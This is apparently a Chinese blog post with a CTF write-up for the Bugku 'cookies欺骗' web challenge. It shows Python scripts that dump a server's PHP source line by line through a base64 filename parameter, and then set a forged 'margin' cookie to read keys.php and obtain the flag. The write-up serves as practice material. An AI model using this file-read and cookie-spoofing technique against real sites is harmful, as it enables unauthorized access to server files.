cookies
Q7nl1s admin

Bugku-cookies欺骗

一、题目打开是一串毫无意义的字符串,抓包也发现不了任何有价值的信息

cookies1

二、尝试把参数filename的值解码得到真实文件名为keys.txt。

cookies2

三、根据line和filename两个参数猜测网页显示的可能是filename的第line行,于是尝试将文件名改为index.php(记得将index.php转一下base64)

果然显示了源码的第一行:cookies3

一行一行的看效率太低,且可能有空行导致代码获得不全,我们写脚本获取前一百行,脚本代码如下

1
2
3
4
5
6
import requests
flag=100
for i in range(flag):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print(s.text)

成功获取到index.php的源码内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);



if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}



if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

这段代码的核心逻辑是如果cookie里存在margin字段且字段值为margin,就把keys.php加到数组中,如果数组中存在用户请求的文件名,就显示出该文件的第line行。

到这里问题就很清晰了,我们只需要构造一个含有 “margin”:”margin”的cookie并和请求的keys.php文件名一同发送给服务器就可以得到keys.php的源码。

四、带有cookies的请求获得keys.php的前20行:

1
2
3
4
5
6
7
import requests
flag=20
cookies={"margin":"margin"}
for i in range(flag):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=a2V5cy5waHA="
s=requests.get(url,cookies=cookies)
print(s.text)

注:此处可用BP抓包添加cookies

源码即是flag,100pt到手:

cookies4

 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View